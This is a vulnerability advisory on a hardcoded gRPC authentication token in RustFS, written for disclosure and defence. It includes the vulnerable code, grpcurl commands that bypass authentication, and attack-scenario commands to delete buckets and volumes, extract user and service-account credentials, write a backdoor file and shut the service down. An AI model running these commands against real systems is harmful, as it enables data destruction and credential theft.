RustFS has a gRPC Hardcoded Token Authentication Bypass

Vulnerability Overview

Description

RustFS implements gRPC authentication using a hardcoded static token "rustfs rpc" that is:

1. Publicly exposed in the source code repository
2. Hardcoded on both client and server sides
3. Non-configurable with no mechanism for token rotation
4. Universally valid across all RustFS deployments

Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.

CVSS 3.1 Score

Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - Exploitable remotely
• Attack Complexity (AC): Low - No special conditions required
• Privileges Required (PR): None - No authentication needed (bypassed)
• User Interaction (UI): None - Fully automated exploitation
• Scope (S): Unchanged - Impact contained to vulnerable component
• Confidentiality (C): High - Complete data disclosure
• Integrity (I): High - Complete data modification capability
• Availability (A): High - Complete service disruption capability

---

Vulnerable Code Analysis

Server-Side Authentication (rustfs/src/server/http.rs:679-686)

#[allow(clippy::result_large_err)]
fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();  // ⚠️ HARDCODED!

    match req.metadata().get("authorization") {
        Some(t) if token == t => Ok(req),
        _ => Err(Status::unauthenticated("No valid auth token")),
    }
}

Issues:

• Static token hardcoded as string literal
• No configuration mechanism (environment variable, file, etc.)
• Token visible in public GitHub repository
• Identical across all installations

Client-Side Authentication (crates/protos/src/lib.rs:153-174)

pub async fn node_service_time_out_client(
    addr: &String,
) -> Result<NodeServiceClient<...>, Box<dyn Error>> {
    let token: MetadataValue<_> = "rustfs rpc".parse()?;  // ⚠️ SAME HARDCODED TOKEN!

    // ...

    Ok(NodeServiceClient::with_interceptor(
        channel,
        Box::new(move |mut req: Request<()>| {
            req.metadata_mut().insert("authorization", token.clone());
            Ok(req)
        }),
    ))
}

Issues:

• Client uses identical hardcoded token
• No secure token distribution mechanism
• Token cannot be rotated without code changes

Service Integration (rustfs/src/server/http.rs:520-521)

let rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);
let service = hybrid(s3_service, rpc_service);

The check_auth interceptor is applied to all gRPC services via NodeServiceServer::with_interceptor, protecting all 50+ gRPC methods in node.proto with the same weak authentication.

---

Reproduction Steps

Environment Setup

Test Environment:

• RustFS Server: localhost:9000 (HTTP + gRPC hybrid service)
• RustFS Console: localhost:9001
• Container: rustfs/rustfs:latest (Docker Compose deployment)
• Default credentials: rustfsadmin/rustfsadmin

Tools Required:

• grpcurl v1.9.3+ (gRPC command-line client)
• RustFS proto files: crates/protos/src/node.proto

Step 1: Verify Authentication is Enforced

Test 1.1: Request without authentication token

$ grpcurl -plaintext \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

Expected Result: ✅ Authentication failure

ERROR:
  Code: Unauthenticated
  Message: No valid auth token

Test 1.2: Request with incorrect token

$ grpcurl -plaintext \
    -H 'authorization: wrong-token-12345' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

Expected Result: ✅ Authentication failure

ERROR:
  Code: Unauthenticated
  Message: No valid auth token

Conclusion: Authentication is properly enforced - unauthorized requests are rejected.

---

Step 2: Extract Hardcoded Token from Source Code

Public Source Code Analysis:

$ git clone https://github.com/rustfs/rustfs.git
$ cd rustfs
$ grep -rn '"rustfs rpc"' --include='*.rs'

Result: ✅ Token found in public source code

rustfs/src/server/http.rs:680:    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();
crates/protos/src/lib.rs:153:    let token: MetadataValue<_> = "rustfs rpc".parse()?;

Extracted Token: rustfs rpc

---

Step 3: Exploit - Authenticate Using Hardcoded Token

Test 3.1: Successful authentication with hardcoded token

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

Result: 🔓 AUTHENTICATION BYPASSED

{
  "version": "1",
  "body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA=="
}

Analysis: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.

---

Step 4: Demonstrate Access to Sensitive Management APIs

Test 4.1: Server Configuration Disclosure

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/ServerInfo

Result: ✅ Complete server configuration disclosed

{
  "success": true,
  "serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA="
}

Analysis:

• Server returned complete configuration including storage paths, endpoint addresses, version info
• Binary data contains sensitive internal state (MessagePack encoded)
• Information disclosure confirmed

Test 4.2: Disk Information Access

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/DiskInfo

Result: ✅ Authenticated request accepted (business logic error returned, not auth error)

{
  "error": {
    "code": 36,
    "errorInfo": "io error can not find disk"
  }
}

Analysis:

• Request passed authentication (error is business logic, not authentication)
• Proves attacker has authenticated access to sensitive system information APIs

---

Impact Analysis

Affected APIs

All 50+ gRPC methods in node_service.NodeService are vulnerable:

🔴 CRITICAL Impact - Data Destruction

• DeleteBucket - Delete production buckets
• DeleteVolume - Destroy entire storage volumes
• DeleteUser - Remove legitimate users
• DeletePolicy - Remove access control policies
• DeleteServiceAccount - Remove service accounts

🔴 CRITICAL Impact - Configuration Manipulation

• ReloadSiteReplicationConfig - Corrupt cluster replication
• SignalService - Control service lifecycle
• LoadPolicy - Modify access control policies
• LoadPolicyMapping - Alter policy assignments

🟠 HIGH Impact - Unauthorized Data Access/Modification

• ReadAll / ReadAt - Read arbitrary data
• WriteAll / WriteStream - Inject malicious data
• RenameFile / RenameData - Manipulate file system
• UpdateMetadata / WriteMetadata - Corrupt metadata

🟠 HIGH Impact - Privilege Escalation

• LoadUser - Access user credentials
• LoadServiceAccount - Access service credentials
• LoadGroup - Access group memberships

🟡 MEDIUM Impact - Information Disclosure

• ServerInfo - Server configuration disclosure
• DiskInfo - Storage configuration disclosure
• GetMetrics - Performance metrics disclosure
• GetBucketStats - Bucket statistics disclosure
• LocalStorageInfo - Storage system information
• ListBucket - Bucket enumeration

🟡 MEDIUM Impact - Cluster Operations

• MakeBucket - Unauthorized bucket creation
• HealBucket - Trigger repair operations
• BackgroundHealStatus - Monitor internal operations

Attack Scenarios

Scenario 1: Data Destruction

# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"options": "{}"}' \
  localhost:9000 node_service.NodeService/ListBucket

# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "production-data"}' \
  localhost:9000 node_service.NodeService/DeleteBucket

# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "vol1"}' \
  localhost:9000 node_service.NodeService/DeleteVolume

Impact: Complete data loss, business disruption

Scenario 2: Credential Harvesting

# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "admin"}' \
  localhost:9000 node_service.NodeService/LoadUser

# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "service-account"}' \
  localhost:9000 node_service.NodeService/LoadServiceAccount

# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"name": "admin-policy"}' \
  localhost:9000 node_service.NodeService/LoadPolicy

Impact: Complete IAM compromise, lateral movement

Scenario 3: Backdoor Installation

# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
  localhost:9000 node_service.NodeService/WriteAll

# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
  localhost:9000 node_service.NodeService/WriteMetadata

Impact: Persistent compromise, further exploitation

Scenario 4: Cluster Disruption

# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{}' \
  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig

# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"sig": 2}' \
  localhost:9000 node_service.NodeService/SignalService

Impact: Distributed system failure, data inconsistency

---

Exploitation Preconditions

Required Conditions

✅ All conditions typically met in production deployments:

1. Network Access: Attacker can reach gRPC port (9000/TCP)

   • RustFS binds to 0.0.0.0 by default (all interfaces)
   • Commonly exposed for distributed node communication

2. Token Knowledge: Token is publicly known

   • Available in public GitHub repository
   • Identical across all RustFS installations
   • Cannot be changed without code modification

3. No Additional Security Controls:

   • No mTLS/certificate-based authentication
   • No IP whitelisting (typically)
   • No VPN/network segmentation requirements
   • No rate limiting on authentication attempts

Attack Complexity

Complexity: 🟢 TRIVIAL

• Single grpcurl command with hardcoded token
• No exploit development required
• No timing or race conditions
• No target-specific reconnaissance needed
• Fully automatable
• Works against any RustFS instance

Time to Exploit: < 1 minute

---

Security Impact

Confidentiality Impact: HIGH

• Complete Data Disclosure: All stored objects readable via ReadAll/ReadAt
• Credential Exposure: IAM users, service accounts, policies accessible
• Configuration Disclosure: Server, storage, cluster configuration leaked
• Metrics Exposure: Performance and usage metrics accessible

Integrity Impact: HIGH

• Data Modification: Arbitrary data injection via WriteAll/WriteStream
• Metadata Corruption: File metadata tampering via WriteMetadata
• Policy Manipulation: IAM policies modifiable via LoadPolicy
• Configuration Changes: Cluster replication config alterable

Availability Impact: HIGH

• Data Destruction: Buckets/volumes deletable via DeleteBucket/DeleteVolume
• Service Disruption: Service controllable via SignalService
• Cluster Degradation: Replication corruption via ReloadSiteReplicationConfig
• Resource Exhaustion: Arbitrary data writes, bucket creation

---

Compliance & Regulatory Impact

Standards Violated

PCI-DSS v4.0

• Requirement 6.5.3: Broken authentication
• Requirement 8.2: Strong authentication required
• Requirement 8.6: Multi-factor authentication required

OWASP Top 10 2021

• A07:2021 - Identification and Authentication Failures
  • Use of hard-coded credentials
  • Missing or ineffective authentication

CWE (Common Weakness Enumeration)

• CWE-798: Use of Hard-coded Credentials (Rank: 37/400)
• CWE-1391: Use of Weak Credentials
• CWE-287: Improper Authentication

NIST Cybersecurity Framework

• PR.AC-1: Access control mechanisms violated
• PR.AC-7: Authentication mechanisms insufficient

SOC 2 Type II

• CC6.1: Logical access controls inadequate
• CC6.6: Credential management controls missing

Legal & Business Impact

• Data Breach Notification: GDPR Art. 33, CCPA §1798.150
• Regulatory Fines: GDPR up to €20M or 4% annual revenue
• Customer Trust: Severe reputational damage
• Service Disruption: SLA violations, customer compensation
• Incident Response Costs: Forensics, remediation, legal fees

---

Proof of Concept

Automated POC Script

File: audit_analysis/poc_cve_2025_008_grpc_token_working.sh

Usage:

chmod +x poc_cve_2025_008_grpc_token_working.sh
./poc_cve_2025_008_grpc_token_working.sh [target_host:port]

Default Target: localhost:9000

POC Features

1. ✅ Baseline Authentication Testing

   • Verifies unauthenticated requests are rejected
   • Verifies incorrect tokens are rejected

2. ✅ Exploit Demonstration

   • Authenticates using hardcoded token
   • Calls Ping service successfully

3. ✅ Sensitive API Access

   • Accesses ServerInfo (configuration disclosure)
   • Accesses DiskInfo (system information)
   • Demonstrates authenticated access to management APIs

4. ✅ Detailed Reporting

   • Displays vulnerable code locations
   • Lists all affected APIs (50+ methods)
   • Provides CVSS scoring and impact analysis
   • Includes remediation recommendations

POC Output Summary

[PHASE 1] Baseline Testing
  ✓ Without token: REJECTED (Unauthenticated)
  ✓ With wrong token: REJECTED (Unauthenticated)

[PHASE 2] Exploit
  ✓ With hardcoded token "rustfs rpc": ACCEPTED ✅

[PHASE 3] Sensitive API Access
  ✓ ServerInfo: SUCCESS - Configuration disclosed
  ✓ DiskInfo: SUCCESS - System information accessible

[RESULT] VULNERABILITY CONFIRMED

Acknowledgements

We would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.